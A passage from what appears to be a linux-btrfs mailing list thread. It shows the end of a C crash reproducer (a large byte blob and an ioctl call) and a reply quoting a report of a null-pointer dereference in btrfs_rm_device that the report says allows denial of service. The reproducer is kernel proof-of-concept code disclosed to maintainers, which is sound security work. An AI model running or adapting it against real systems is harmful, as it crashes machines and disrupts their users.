*(uint64_t*)0x20001d98 = 9;
*(uint64_t*)0x20001da0 = 9;
*(uint64_t*)0x20001da8 = 4;
*(uint64_t*)0x20001db0 = 0x40;
memcpy((void*)0x20001db8, "\x12\xe6\x3b\xdb\x91\xaf\x99\x57\x60\x5c\x4b\xce\x0d\xbd\x88\x60\x1d\xd5\x3a\x8b\x4e\x60\x0f\xef\x7e\x58\x4f\xe0\x65\x78\xc0\x43\xf4\x06\x35\x80\x8f\x43\x47\xf8\x65\xd4\x8e\xfd\x2b\x71\x99\x48\xcf\x7c\xd6\x4b\x29\x04\x16\x62\x3e\xf4\x76\xc8\x09\xb1\xf8\xb0\xab\xe3\x51\x69\x5e\x8f\x11\x58\xd2\x00\x97\xbe\xe0\x0e\xb9\x82\x69\x7a\x75\x84\x1f\x4b\xf5\xfb\x15\x67\x6f\x7d\x31\x5d\x60\xc2\x4f\xf1\x94\x4b\x22\xe2\x5d\xf4\xed\x18\x31\xad\xea\x87\x11\x0e\x2a\x05\x7e\x51\x4b\xe9\xb7\x48\x1d\x88\xb4\x7e\xc4\x04\xee\xd1\x41\x2c\x6a\x7a\x68\xd6\x2a\x64\xad\x4c\xc0\xad\x0c\x00\xb5\x00\x68\x45\x5f\xfb\x7b\x14\x01\xf9\x47\xfa\x4b\xe1\x61\x65\x58\xfd\xe7\xc2\xa7\x8e\xa0\xcf\xe0\x7c\xb9\x0a\xbd\xda\xbc\xf6\x31\xa2\xb9\x90\x39\x19\xf5\x60\xc8\x80\xca\x68\xc3\x4f\x3d\xc0\x34\x20\xa6\x2a\x2a\x91\x30\x3f\x17\x2c\x63\x26\x57\x97\x71\xb3\xb1\xf7\x07\x94\xe0\x61\xd9\x9b\xbb\x70\x93\xc4\x03\xea\xde\x27\x67\xef\xdb\x74\x4f\x8d\xae\x32\xa7\x2e\xcf\x69\x8a\x04\x2c\x57\x69\x35\xad\x33\x85\x5a\x6d\x1a\x56\xb3\x15\x3d\x2f\x19\x2a\x4f\x5a\x13\x9d\x3d\xdc\x7c\xd3\x91\x7f\xfc\xbb\xb6\x32\x1f\xd9\x4b\x52\xdd\xb4\x0a\x0a\x17\x8d\x62\x82\x29\x19\xc2\xb8\xb9\x08\x34\x0d\xa7\x7f\x32\xb2\xa4\x8f\x0e\x04\xe6\x99\xbb\x89\x50\xaa\xde\x4f\x7b\xd2\xef\x9b\xb1\x8b\x02\x3e\x77\xd9\xa0\x43\x52\x7a\x78\x29\x27\xda\x33\x59\x5d\x32\x24\xee\x3d\x30\x3d\xcc\x5e\x6d\x0f\x22\x14\x31\x90\x35\x07\x39\x65\x02\x29\x21\xdb\xb7\xab\x1c\xb2\xa3\xd0\xcb\x8d\xad\x0a\x12\xac\x93\x04\xa2\x25\x81\x4f\x3b\x10\x2a\x51\x49\x31\x8f\xd0\xeb\x01\x08\xdd\x46\xe5\x5c\xa3\x8d\xf0\x9d\x61\x37\xd4\x1b\xd6\x84\x6f\xb3\xdd\x3b\xde\xac\xf5\x36\x3d\xf9\x66\x72\x33\x07\x3f\x55\xdb\x02\x4a\x89\x74\x06\xe1\xa8\x14\x52\x1c\xa9\x53\x3b\xa1\x7e\x2b\xd4\x11\xb1\x43\x34\x36\x74\x36\x15\x0f\x1d\x4e\x94\x3b\xc4\x8f\xca\x0c\x26\xab\x6c\xca\xce\x68\x16\xe0\xc4\xd0\x7f\x2a\xa0\x70\x82\x3b\x13\x50\xed\x7a\x8f\x46\x60\x02\x04\x58\x3a\x30\xbf\xa5\xf5\x57\x5a\x64\x4a\x35\x7f\x24\x57\x0a\xfe\xec\x1f\xc7\x89\x10\xe3\xf5\x56\xd8\xcd\x42\x3b\xa6\x8a\x76\x23\xe9\x31\x3e\x8c\x53\x4f\x73\x72\xd7\xc7\x64\xf5\xd7\x00\xe3\x05\x00\xda\x0f\x0b\xd3\x48\xfd\x91\x9e\x2a\xab\xfd\x0a\x27\x49\x8a\x88\x42\x8f\x46\xec\xcd\x91\x65\xac\x18\xec\x6e\xe7\xf5\x8b\x71\x57\x03\xa1\x4c\x1a\x7a\x1f\x26\x44\x8c\xcc\x00\x53\x6b\x6d\xd1\x91\x47\x31\xb3\x12\x90\x7c\x82\xb4\xaf\x74\x5e\x9e\xc0\xf7\xe4\x0c\x24\x0b\x64\x60\xd3\xdd\xbf\x91\x4e\x82\x9f\x6b\xa0\x0b\x80\x99\xaa\xed\x27\x10\xab\xfb\x9f\x11\xb4\x3e\xd8\xef\x53\x35\xfb\x6c\x6b\xc7\xb6\xd2\xbc\x62\x86\x6d\xa9\xc4\x69\xa4\x12\xc1\xa5\x06\x18\xfb\x6b\x22\x9b\x12\x5d\xf1\x06\xe7\xc8\xfb\x54\x1f\x58\x7e\xb1\x1f\x13\x33\xfa\x6d\xb2\xd4\xe3\x88\x14\x26\x39\x6c\xde\x0d\x20\x44\xda\x9b\xd1\xf1\xd1\xb2\xa7\xb5\xa7\x2f\xee\xa5\x4a\xc4\x9c\x65\xce\x66\x34\xd5\x4a\x21\x32\xe7\xf0\x61\x96\xbb\x96\x1e\xd7\x5a\xec\x73\x26\xea\x79\x21\xc0\x65\x93\xd4\xf9\x64\x01\xb2\x99\xb7\x1e\x21\x83\xb8\x24\x58\x58\x56\x52\xdf\x77\x41\xe5\x43\x22\xcb\x13\x58\xb9\x9f\xc4\xc7\xcf\xb2\x7e\x7e\x17\xa2\x2e\x6f\xd2\xa3\x07\xe9\x0a\xa2\xa4\x1b\x11\x57\x35\x35\x25\xc0\x50\x5e\xe8\x9b\xdb\x8a\x0a\x2b\xf0\xa1\xba\x2f\xa7\x93\xa4\x71\x38\xcb\x78\xd2\x0e\x6d\xcf\x09\x7e\x2f\xb1\x83\x5a\x27\x7a\xba\x73\x3f\x19\xcf\x70\xd3\x53\x13\x65\x55\xee\x67\x6b\x31\x2b\xce\x73\xb4\x1a\x72\xcf\x5d\x18\x30\xb7\xbc\x43\x8a\xa0\x1f\xde\xfd\x20\x52\xb8\xdc\x3c\x08\x8b\x0d\xe4\x29\x2f\x6a\xf4\x68\x42\x47\xe1\x21\x1f\xf6\x63\x5a\x41\x60\xe5\x0c\xb9\xdc\xcb\xc8\xd3\x6e\x2a\x6a\x67\x91\x26\xbb\x14\xe9\x1b\xef\xab\x79\xd1\xf9\x7f\x3d\x49\x5d\x15\x7d\x7f\xa7\x0d\x67\xb2\xd1\x31\x8d\x89\x2a\xcc\x08\x40\x05\x84\xf9\x29\x39\xfc\xd6\x24\x3e\x26\xb2\xf9\x76\x4c\x91\xf3\x58\xaa\xa8\x0a\x6f\x09\x35\xcd\xe6\x41\xb0\xc5\x17\x76\x26\x0f\xf4\x30\x3d\x22\x51\xaa\xd4\x0d\xf5\x26\x5d\x00\x3e\x4e\x13\xa0\x37\x6b\x52\x69\xc9\xd8\x01\x2f\x9e\x11\x15\xc5\xca\x44\x1f\x35\x7f\xcb\xd6\xcb\xd0\x90\x56\xb0\x01\xcd\x4e\x99\x94\x32\x62\x48\x44\x29\xea\x06\x80\x78\xc9\x0f\xfa\x70\xfb\x76\xbe\x26\x42\x96\x90\x82\x85\xb8\x26\xff\xc9\x9d\x81\xfb\xe5\x47\xef\x41\xae\x16\x00\x1a\xa7\x3a\xc6\x35\xf4\x7e\x70\xbd\x06\xf0\x78\xe5\x8a\xd5\x35\xae\x27\x7f\x09\x34\x94\x17\xaa\xfc\xba\x6b\x87\x51\xce\x13\x8b\x00\x66\xc6\xaf\x9c\xbb\x6e\x24\xd7\x2f\x65\xbc\xa3\xc1\xbf\xcd\x06\x3c\x61\xd8\x79\xf6\xb4\xea\xfa\x80\xeb\x71\x07\x3f\x8b\xf2\x69\xb9\x3f\xf2\x0f\x67\x64\x53\xcf\x7d\xad\xcc\x34\x2f\x26\xae\xe4\xd9\x18\xc4\xb5\x73\x95\x01\xf2\xc3\xae\xf8\x2a\xdd\xe9\x3f\x19\x42\xed\x20\xfe\xe1\xe6\xb2\x6b\x6a\x11\x7e\xdf\x66\x30\x13\x60\xac\x49\xb3\xcd\xb3\x37\xac\x70\xae\xb3\xcc\xab\xd9\x6e\x05\x7a\x72\x64\x6f\xb8\xa5\x88\x45\x9b\xa8\x83\xf8\x43\x09\xc6\x8b\xec\x5c\x69\x4c\x38\x73\x13\xcb\xbe\x9f\x75\x7f\xb6\x3e\x5f\x44\xa7\xd1\x14\xa3\x58\x22\x1a\xb1\x0b\x27\x05\x64\xe4\x1e\x22\x3b\x89\x5d\xba\x9a\xeb\x8b\xe9\x7d\x5b\x9f\x4f\x86\x0e\x5b\x33\x33\xff\x95\x9e\xf5\x2f\x6a\x65\x5c\x78\xc6\xc9\xa0\x4a\xce\xad\x4a\x25\x93\x63\x14\xc5\x78\x13\xe3\xdc\xe9\x05\x19\x00\x40\x8c\xa1\x46\x82\xa8\x87\x32\x16\xc3\x59\xc5\x36\xf3\xab\x55\xd7\x68\x60\x40\x94\x0d\xa2\x92\xd5\xba\x15\xe1\x38\xf7\xca\xdd\x7e\xc1\x48\xb0\x95\xb8\xb3\x93\xb2\x9e\x80\x09\x0f\x0c\x80\x5c\x1f\xbc\x36\x45\xf5\x42\x0c\xb7\x07\xa7\x26\x25\x64\x36\xde\x1d\x2f\x4f\x72\x9b\x7d\x8e\xb3\xdf\x7e\xb5\x4a\x91\xed\x1b\x02\x42\xe8\xed\xeb\xe5\xed\xda\xed\x99\x15\xdc\x2f\x89\x6a\x04\x5e\x21\xa4\x74\x59\x85\x24\x5e\xe5\x90\x9d\x4e\x0d\x41\x4d\x60\x63\xb2\xed\x83\xad\xbe\x7c\x12\xf8\x92\xd3\x2e\x33\x05\x4e\xfc\xc5\x6e\x62\x9f\xf9\x51\xeb\xc3\x23\x67\x59\x8e\xa7\x58\x28\xf8\xd3\xb9\x7a\x3c\xd1\xda\xf4\xcd\xf7\x4b\xee\x83\xa0\xe1\x12\xfe\xb6\xef\x18\x31\xa9\xe5\x6e\x19\x18\xbc\x4c\xe3\xe9\x30\xcb\xd6\x2e\x86\x1e\x18\x87\xd5\xea\x46\xb8\x82\x1d\xfb\x76\xac\x07\xda\xae\xc6\xb6\xbd\xe0\xfe\xbb\xba\x82\x7d\xef\x30\x56\x55\x5f\xbe\x54\x7c\xd6\x91\x18\x20\xe3\xda\x9f\xb1\x3d\x4c\x4a\x1c\x00\x8f\x48\xab\xc6\x3f\x42\x31\xec\xb8\xfc\xfb\xd0\x97\xa2\x59\x26\x67\x22\xf4\x39\xc5\x9a\xc4\x26\x50\xb2\xdf\x4a\x59\x11\xd5\x49\xbf\x49\xde\x93\x2c\xc2\xc8\xa4\x3a\x70\x7b\x77\x4a\x44\x71\x66\x14\xd1\x21\x41\x46\x11\x9a\x70\xbb\xa5\x5e\x57\x55\xe9\x0c\xbf\xad\x40\x3d\x49\x30\x12\x08\x4a\x03\x16\xd7\x60\xbc\xfc\xc5\xa7\x50\x6d\xf1\xed\x72\xf2\x85\xd2\xe7\x63\x87\xa0\xa7\xc5\xde\x09\x4d\x5a\x94\xfc\x57\x27\x88\xaf\xbf\x1b\x0e\xe7\xa5\xb8\x3b\xea\x2e\x7b\xfd\x52\xae\x1b\x48\x66\x4e\x1f\x09\x8f\x80\x82\x99\x2a\x81\x4d\x64\x8b\x2c\x17\xd6\xec\x6d\x52\xb6\xa9\x10\x4d\x2a\x00\x29\x2a\xa1\xb7\x35\xf6\xde\x3e\x4a\x5e\xaf\x2e\x1f\x49\xf3\x88\x3c\xa1\x11\xc8\xed\x9d\x54\xf9\x43\x47\xed\x11\x43\xeb\x3a\xf5\xc6\xe1\x50\x43\x98\x4d\x21\xd1\xf5\xf7\xb7\x7e\x04\x8b\x61\xc4\xb0\x4a\xa2\xcc\x05\x3c\x38\xa1\xa4\x6a\xb3\xb9\x12\x5b\xcf\x46\xcf\xa2\x78\xaf\xe6\x37\xe6\x47\x47\x93\x0f\x71\x37\xde\x69\x1c\x3c\xde\x6d\x11\x11\x82\x41\x14\xdc\x55\x1f\xe6\x70\xcb\xf3\x5a\xd3\x0e\xde\xed\x64\xa2\xba\x17\x80\x6f\xf6\x13\xf0\x22\x19\x03\x58\xe9\x31\x66\x16\xaa\x5b\x0e\x04\xd8\x81\x97\xef\xb7\xb5\x2e\x7e\x6e\xae\xdc\xd9\xa0\xee\x7b\xa0\x86\xaf\x32\x7d\x08\x51\x0d\xf2\x13\xfc\x62\x3f\x3f\x0d\x29\x95\x08\x58\x67\x90\xf5\xba\x58\x42\x02\x52\xa4\x1f\x18\x1f\x31\xf1\x72\xe4\x8f\x42\x08\xe3\xe6\xe6\xca\x10\x81\x85\xed\xe2\xaf\x14\x14\xc8\x79\x09\x61\x10\x11\x23\x91\x5e\x60\x84\xb9\x70\xc3\xe5\xef\xa1\xc0\xdd\x17\x9b\x14\x2d\x5f\xc9\x24\x20\x72\x87\x23\xc8\x16\xce\xed\xfd\x1f\x8b\xa8\xaa\x98\x29\x41\x47\x7c\xbb\xeb\xc3\x84\x93\x21\xca\x81\xa1\x40\x03\x2f\xbb\x8a\xf4\xf5\x9e\xf1\xee\x81\x35\xcd\xe9\x46\xb9\x8c\xd6\xd6\x25\xcc\xeb\x6d\xac\xe3\x8e\x00\x28\x70\xbe\xf2\x85\x22\xca\x06\xa9\x62\xff\xe5\x8c\x97\xf1\xdd\x10\x4d\xaf\x28\x58\xff\x08\x99\xc0\xcd\xfe\x33\x93\x97\x05\xfb\x4f\x95\x37\x69\x50\x70\xd3\xe4\x10\x9f\xb5\x34\xcb\xb0\x84\xd4\x76\x6d\xc8\x96\x78\x7d\xc6\xf3\x32\x90\xb8\xeb\x29\x12\x8e\x3d\x7f\x90\xe8\x9b\xc5\xd3\xa4\xf0\x47\xec\x09\x6b\x5b\x44\x2d\xd8\x31\x5d\x7e\x79\x2b\xc9\x7f\xee\xcb\xf0\xbe\xcf\xfe\x53\x0d\x6f\x28\x4d\x1a\x76\x19\xef\x1f\x41\x71\x7d\xe6\xb6\x8e\x7e\x3a\xe7\xc9\x84\xba\x49\x4a\x12\xd7\x11\x63\x6e\x38\xf1\x9f\x28\x05\x4f\xc6\x04\x38\xd0\xca\xb3\xe4\x6e\x86\xdf\x86\xbf\x0f\x07\x94\x5c\xd2\x93\x1b\xae\xd3\x27\x3b\x78\x32\x15\xea\x14\x2a\x53\xe1\x18\x26\x53\xdd\x3d\xfc\x94\x07\x08\xb9\x10\x85\x1d\xd4\xd9\xb4\x6f\x61\x14\xe5\x97\x68\xa2\x3b\x63\xa0\xa2\x9a\xa6\xd0\xbd\x4e\xc5\x52\x14\xc3\x26\x61\xa0\x59\xcf\x57\x9e\xa2\xb6\xa5\x28\xbf\xe0\xc0\x39\x63\x37\x3d\x03\x37\x21\x99\x8f\xbe\xe4\x99\xd8\xd5\xa7\x61\x28\xfe\xd2\x69\x4a\xf1\x88\x2b\x55\x04\x0f\x21\xf5\x5c\x3f\xfb\xdd\x66\x3c\xe8\xb5\x12\x25\x70\x01\x9b\x8e\x65\x5a\x96\x4c\xd9\x8a\xb6\xf5\x05\x66\xcd\x13\x1f\x55\xdf\xf4\xb7\xb0\xf9\x66\x60\xe4\x6c\x84\x99\xd6\x90\xbb\xf3\x1c\x54\x85\xb8\x73\xfb\x79\x7e\xb8\x12\x8d\x32\xa6\x5a\x9d\x96\x17\xf5\x87\xe2\x52\xb3\x13\xe2\xf4\x4d\x72\x54\x7e\xeb\xd1\x37\xbf\xbb\xfe\x9a\x19\xcf\x8e\x64\xf6\xf0\x61\xc1\xf9\xcb\x2b\x7e\x5f\xa7\x8e\xd7\x97\x64\x44\xe7\x90\xdd\x13\x9c\xee\xfe\x45\xa8\x7c\xe2\xe7\xa9\xa6\xa3\xdc\x06\x50\xa6\x71\x01\x68\x6a\x90\xb6\xb9\x8e\x13\xc8\x42\x9b\xfb\x80\x6c\x39\x54\x6c\xe0\xd1\x70\x85\x0a\xcb\x08\x88\x84\x75\xf1\x65\xce\x10\x1c\x0e\xfb\x5c\x7a\xde\x69\xaa\x70\x92\x43\x92\xb9\x09\xd8\x5f\x07\x17\x99\x56\x5c\x1e\x6c\x17\x6c\x07\x56\x9a\xa3\xcd\x0a\x71\x85\xca\x10\x06\xa9\x8a\x44\x97\x2b\x29\x06\xa9\x00\xff\x97\x1e\xd1\x97\xcf\xa3\xe5\xf6\x1e\xb3\x40\x34\x54\x48\xaa\x82\x52\x37\xff\x9b\xc0\x8c\x6d\xc9\xb6\x4d\xf5\xb4\xd4\x95\xcf\x5d\x42\xcb\x78\x54\xdf\x0e\x08\xab\x31\x3f\x90\x31\x46\xae\x6f\x13\x3d\x41\xb4\x45\x30\x17\x34\x84\xd8\xcf\xcb\x0e\x2f\xe1\x2e\x0f\xf2\x1d\xb8\x2b\xab\x4d\x43\x2c\x4a\x6e\x23\x41\x13\x68\x41\xcf\x3d\xe6\x4a\x23\xce\x80\x22\xa7\xf5\xee\x7e\x3d\x7a\x6f\x5e\xc5\xe2\xeb\xc7\x07\x28\xf8\x2b\x73\xa3\x0e\x50\xb8\x9d\x9f\x9b\x27\x3e\xfb\x08\x99\xc7\x35\x59\xe0\x14\x8e\xdc\xa8\x80\x8a\xc9\x66\x7b\xd8\x9d\x35\xdc\x3e\x84\xde\xde\x94\xb0\x73\xa6\xd6\x47\x35\xad\x76\xef\xb2\x58\xae\xa6\x5b\x2b\xb4\x59\xef\x88\x9a\x04\x5b\x4d\x3c\xa9\xee\x98\xcf\xf0\xf8\x6a\xcc\x53\x72\x66\x97\x8c\xb5\xa5\x82\x63\x36\x67\xf5\xa7\xa8\xa7\x62\x6e\x7f\x9b\x84\xb3\x2a\xb5\x78\xff\x71\x0a\x02\x2b\x5e\xb5\xec\x22\xab\xce\x3d\xea\x90\xb7\xd5\x89\xc5\x40\xc4\xe2\x0f\x3a\x3e\x96\xb8\x0d\x59\xec\x5e\x2e\x64\x88\x99\xd5\xee\x8f\x0a\x96\x54\xd4\x83\x20\x81\x12\x49\xf2\x74\x25\xdb\xbc\x89\x9d\x49\x27\xd8\x73\xb0\x34\x2e\xcb\x00\x4c\x83\x9d\x4e\x4a\xfe\xd1\x99\x49\x14\x96\x7f\x37\x76\xd2\x4e\x1a\x0e\x38\xc1\xb7\x10\x14\x63\xdc\xd5\x42\xbe\x6e\x3b\x11\x2f\x3d\x9c\x82\x11\x72\xd1\xf0\xdb\x02\xa7\xec\x1d\xba\x24\x5c\xd4\x95\x12\x95\x2c\x39\x4e\x95\xe8\x31\xf1\x4e\x97\xc6\xa2\x81\x03\x2f\xeb\x15\xdb\x81\xa9\x49\x49\x6f\xec\xf9\x1f\xef\x47\x08\x81\xed\x2f\x19\x4d\x33\xb4\x07\x54\xb2\x68\x43\xfc\xf5\x82\xca\x55\xb5\xd5\x4f\xed\x5e\x31\x20\xc5\x41\x9b\xbf\x3b\x8c\x3f\xc1\x72\x89\x08\x4d\x67\x60\xf8\x50\xca\x16\x5a\xb4\x78\x78\x7e\x5f\xd5\x8a\x76\x39\x0c\xd1\xe9\xce\xe8\x9e\xf9\x28\xb5\x7e\x27\xec\xf1\x65\x4e\x41\xe8\x27\x64\x6a\xda\xe2\xed\xb5\xa6\xd0\xe6\xd2\x25\x9c\xe9\x5e\xa5\xc4\x7d\x1e\xa7\xf7\xba\x1a\xb3\x85\xd5\x73\x8f\x12\x43\x41\x10\xbb\xac\xef\x46\xd7\x5f\x84\x03\x6c\xcc\xf8\x71\x21\x2a\x1b\x39\xc6\x23\xe9\xc3\xfd\x2d\x1a\xe2\x7b\x14\x02\x6c\x3c\x43\xaa\xa5\xcc\xa7\x98\x43\x54\x3c\xce\x74\x5e\xe2\x20\xde\xde\x29\x29\x08\xb0\x11\xfb\xa1\xcb\x38\xd8\xaf\x87\x9b\xbd\xe2\x4e\x90\x26\x82\x64\x00\x6c\xee\xb1\x24\x2c\x6c\xe7\x65\x68\xa2\x26\x05\x10\x14\xda\x02\x32\x1a\x2b\x0f\x81\x19\x54\x10\x35\x1b\xa7\xbe\x84\x05\xb9\xdb\xb5\x8b\x28\x5d\xdd\xd8\x1a\x32\xf6\x3f\x87\x6e\x7a\x18\x92\x27\x96\x1e\x2e\xe5\x5d\xc6\x34\x60\xa1\xdf\x3f\x59\xab\x7d\x6e\xec\xb0\x59\x86\x72\x39\x30\xb0\x73\x2d\x34\x34\x9d\x2a\x2f\x82\x96\x6c\x02\xff\x9e\xf8\xa5\x32\x69\x70\x8b\x74\xb4\xb6\x26\xe1\x2a\x33\x8d\xe0\x9a\x16\x00\xc9\xef\x47\x9f\xa0\xbe\xc6\xe8\xf0\x18\xaa\x25\x07\xf2\x9d\x97\x45\xa0\x05\x1c\x8c\xb5\x70\x0f\x79\xcb\xfb\xd6\x12\x36\x4f\x94\xd1\x5c\x9d\x03\x3e\x01\x5c\x2c\x76\x69\xa3\x81\x09\xa6\x8c\xfa\x27\xe7\x91\x9d\x17\x3e\xbb\x6a\x23\x05\x6d\xa6\xb7\x6a\x07\x57\x96\xac\x37\xde\x0f\x1e\x79\xed\x36\x6b\x91\xb5\x48\x05\x2e\xc8\x0e\x11\xb5\x10\x0c\xe6\x0d\x2d\x25\xe7\x24\x13\x96\x75\xf7\x94\x23\xe4\x9b\x56\x7b\xda\x4a\x6a\x08\xe7\x1f\x92\x55\x28\x17\x22\xa2\x08\xf4\x37\x6c\x2a\xc3\xe3\x6e\x20\x03\xfd\x52\xd9\xd5\x9a\x6c\x45\x7b\x7e\x44\xda\x79\x86\xe4\x51\x86\x76\xd7\x04\xaf\x75\x4b\xa6\x17\xce\x55\xce\xdb\x81\xb6\x57\x6d\x26\x56\x24\x28\x61\x4a\x8b\xf7\x0b\x1e\xf8\x7e\xbe\x52\x55\xf9\xd6\xbb\x05\x97\x92\x04\x74\x1a\x0e\x24\x89\x3c\x78\x0a\x81\xaa\xda\x7d\x9a\x8f\x1d\x9d\x08\x3a\xeb\x94\xa6\x30\x8f\x07\xe5\x39\x6b\x78\x4a\x08\xab\x16\x05\xc3\xad\x14\x10\x34\xbb\xdc\x74\x37\xd0\x5c\xc4\x9d\x6a\x20\x20\xbf\xd0\x44\xc8\xf2\x80\x6b\xfd\xf7\x46\xae\x5a\xf6\x5a\xb2\xc2\xbc\x1f\xa9\x59\x78\xe6\xb9\x20\xdf\x94\xda\x73\x4f\x2d\xd3\xfe\x69\xbd\x0e\x12\x03\x00\x25\xb3\xc4\x7d\xa2\x76\x1a\x4d\x76\x9c\x3d\x61\xae\xd8\x80\x7e\xf9\x05\x7b\x87\xfa\x4a\xb1\x0c\xd3\x57\xcf\x42\xb9\x0e\xc6\xe2\xe1\x69\xa7\xfd\x7e\xff\x54\x0a\xb8\x2d\x30\x32\x16\xd4\x2e\x96\x7b\x0c\x51\xd5\x72\x57\x3e\x52\x9d\xa8\xea\xc0\x89\x2d\x1a\x3c\x13\x6d\x4f\xdc\x93\xb1\x8a\xf6\x9f\x9e\x2e\x24\x0d\x28\x6b\xac\xa1\x3d\xbf\x43\x1d\x8b\x02\x24\x4b\xd8\x66\x6a\xe5\x5b\xd3\x6b\x5e\x46\xac\x66\xaf\x55\xb0\x84\xd4\xe4\x57\x24\x5e\xc8\x42\xab\x62\x58\xb1\x36\xed\x0a\xa1\x8f\xa0\x02\xdd\x7e\xad\xa6\x36\x95\xcc\x3d\x08\xa2\xf6\x7b\x8e\x54\xc2\x58\x37\xe1\xcc\x86\xc3\xa0\xeb\x4f\x2b\x68\x64\x8d\xaa\x7f\x5b\x1e\xcb\xb4\xb8\xb3\x74\xa0\xff\xd4\xff\x64\xe0\x71\xd8\xae\x37\xbd\x1b\x0a\x4f\x5f\x09\x3a\x6a\x41\x9c\xd1\x35\x40\x08\x03\x5f\xfc\xe6\x3c\x39\x40\xc3\x02\x9b\xf3\x45\xa7\x07\x97\x7c\x0a\x32\xa0\x74\x77\x2e\x3f\x4b\xfc\x36\xa0\x28\x8d\xa7\x47\xbf\x67\x8d\x37\xe4\xa2\xd7\x3e\x19\xe4\xcd\xd7\x16\x02\x09\x35\x74\x24\x06\xdd\x02\x0d\x60\x6a\x4a\x56\x81\xd7\xec\xa8\x6b\xda\xc7\xdd\xbf\x1b\x65\xe3\x25\xba\x6e\x53\xe8\xeb\x3a\x0b\xa3\x5c\x8d\xa3\x3d\x09\x1a\x10\x7b\x93\x17\xbd\xdc\xda\x3f\xec\xda\x7f\x4f\x35\x80\x6c\xdb\xc5\xd0\x29\xf0\x12\xa6\x8f\x24\xaa\x6c\x58\x10\xe6\x6c\x75\x36\x0f\x9c\x64\x8b\x35\xcf\x91\xc2\x2d\x70\xb7\x2f\x05\x7d\xe6\x62\x64\xd0\x40\x03\xb1\x2c\xe8\x0e\x51\x73\x6b\xfc\x71\xbb\x0e\x34\x5f\x75\x3f\x53\xfc\x67\x47\xfb\x2f\x77\xa9\xb1\x53\xe6\xe6\x3e\xce\xe3\xd4\x11\x5c\xc5\x4c\x63\xc7\x36\xbb\x23\x47\xc5\x50\xf4\xf3\x1f\x55\x6a\x4d\x37\x59\x1c\xbe\x9c\xff\xe9\x82\xe0\x72\xe8\x96\x25\xbb\xf5\xb8\x15\x06\xda\xbb\xdc\x79\x05\xc8\x77\x31\x9f\xf4\xbc\x69\x10\x5a\x9a\x3a\xe4\xc0\x0c\xfd\xd2\x25\x00\xfa\x37\x46\xff\x45\x74\xfa\x0b\x7c\x04\x74\x6e\x93\x55\xb8\x90\x10\x2e\xd7\x9a\xc5\xe1\x99\x87\x24\xe8\x95\xda\xd8\x06\xfb\x92\xd2\x13\x96\xe4\x99\xc9\x11\x21\x8a\xd4\xf2\xf9\x4d\x62\xab\x0b\x53\x33\x53\x67\xfd\x23\x32\x22\x9e\xf1\x98\x81\xdc\x32\xe9\x4f\xad\x1e\xb9\x52\xa7\xc6\x30\x4e\xbd\x16\x00\x92\x56\xbc\x0a\x0d\xa5\x05\x39\x71\xb2\xbf\xcf\x3c\x3a\xfe\x6c\x27\x31\x97\xbe\xb0\xfe\xe9\x21\x06\xde\x29\x9d\xac\x7a\xae\xa8\xad\x02\x6d\xcb\x52\xda\x2a\x89\x6d\x61\x32\x78\xd4\x93\xc5\xb7\xa5\x32\x79\x2b\xab\x78\xf4\xae\xb6\xab\x22\x1f\xa2\x15\x45\xb7\x37\xe2\x2a\x66\x3a\x43\x1a\xef\xd6\x04\xe4\xcc\x87\xde\x60\x81\x6e\x09\xc3\x31\x07\x2b\x45\x7b\xd7\x8f\xe5\xf6\x32\xc6\xd7\x71\x88\x66\x12\xe2\xc7\x3a\x05\x0c\xbe\x49\x27\xbc\xd1\x0b\x7c\xe8\xc5\xc3\x98\xd0\x6f\x25\xcb\x42\x72\x79\x40\x78\xaf\x2b\xc4\x9d\xa6\x92\xf7\x27\xef\x23\x47\xec\xa7\x63\x53\x0b\x61\x41\xd4\x5e\x11\xe7\xc7\xf7\x9e\x94\x93\xae\x01\xe6\x38\x4c\xb6\xde\x57\x9b\xbd\xf1\x09\xa1\xaf\x10\xa5\xfe\x6a\x54\x51\x70\xc5\x67\xdb\x4d\x13\x1a\xcc\xa3\x71\x62\xf2\x28\x21\xd7\xa5\x24\xc7\xe9\x16\x77\x72\x97\xf4\x72\xc4\x2e\x1e\x45\x6f\x6b\xf2\x16\x38\xcb\xbf\x22\x00\x70\xb7\xa0\x91\xf7\x7b\x13\x32\x6e\x31\x3f\xdf\x34\x8a\x97\xea\x8b\x5c\xda\xe0\xea\xf6\x72\x5f\x26\x45\x2c\x6a\xd3\xc0\xc1\xfc\x9a\xdc\x02\xad\xe8\xd2\xe1\xf9\x9d\x92\xef\x6f\x2b\x40\xe8\x14\x10\x30\xf5\x42\x87\x8e\xeb\x3f\x16\x48\xb1\x7f\x79\x25\x7b\x8d\x3d\xd6\x17\x29\xd9\x5a\xbd\xed\xe5\x53\xbf\xa4\x3b\x9f\xdf\xdd\x00\xdf\xce\x7c\xcb\x08\x38\x81\x0f\x18\x93\xde\x48\x4b\xe4\xe8\xb6\x05\xcc\xc8\x38\x17\x63\xca\x30\x64\xcd\x6b\x1a\x3b\xcc\x4f\x21\x3d\xab\xcb\x1f\xf0\x22\xee\x02\xa8\x59\xc0\xcb\xa3\xed\xfe\xf6\x4a\xb8\x9d\x1f\xe6\xf1\x2d\xef\xe9\xb1\xa4\x9d\xe1\x6a\xb6\xe3\x2e\xc9\x0e\x09\x39\xa5\xe6\x22\xe6\x66\xce\x1f\x6f\x43\x4b\x4f\x44\xd2\xfd\x2d\x1d\x2b\xc6\x2c\x9c\x10\xa7\x0c\x16\x1f\x45\x52\x66\xd6\xda\x89\x36\x47\xd6\x89\x36\x1c\x52\xef\x18\x9e\x1c\xf6\xc7\x77\x94\xcb\xe9\x17\x15", 4040);
	syscall(__NR_ioctl, r[1], 0x5000943a, 0x20001d80ul);

	return 0;
}

^ permalink raw reply	[flat|nested] 3+ messages in thread

* Re: A null-ptr-dereference bug in btrfs_rm_device in fs/btrfs/volumes.c
  2021-08-06  9:52 A null-ptr-dereference bug in btrfs_rm_device in fs/btrfs/volumes.c butt3rflyh4ck
@ 2021-08-06  9:59 ` Qu Wenruo
  2021-08-07  6:00   ` butt3rflyh4ck
  0 siblings, 1 reply; 3+ messages in thread
From: Qu Wenruo @ 2021-08-06  9:59 UTC (permalink / raw)
  To: butt3rflyh4ck, clm, Josef Bacik, dsterba; +Cc: linux-btrfs



On 2021/8/6 下午5:52, butt3rflyh4ck wrote:
> Hello, there is a null pointer dereference bug in the btrfs_rm_device
> function in fs/btrfs/volumes.c.
> When a user invokes a BTRFS_IOC_RM_DEV_V2 ioctl to remove a volume device,
> it would call btrfs_ioctl_rm_dev_v2 function to implement. And
> btrfs_ioctl_rm_dev_v2 would call btrfs_rm_device,
> if the id of the volume device is illegal, it would trigger a
> null-ptr-deref bug to cause DoS.
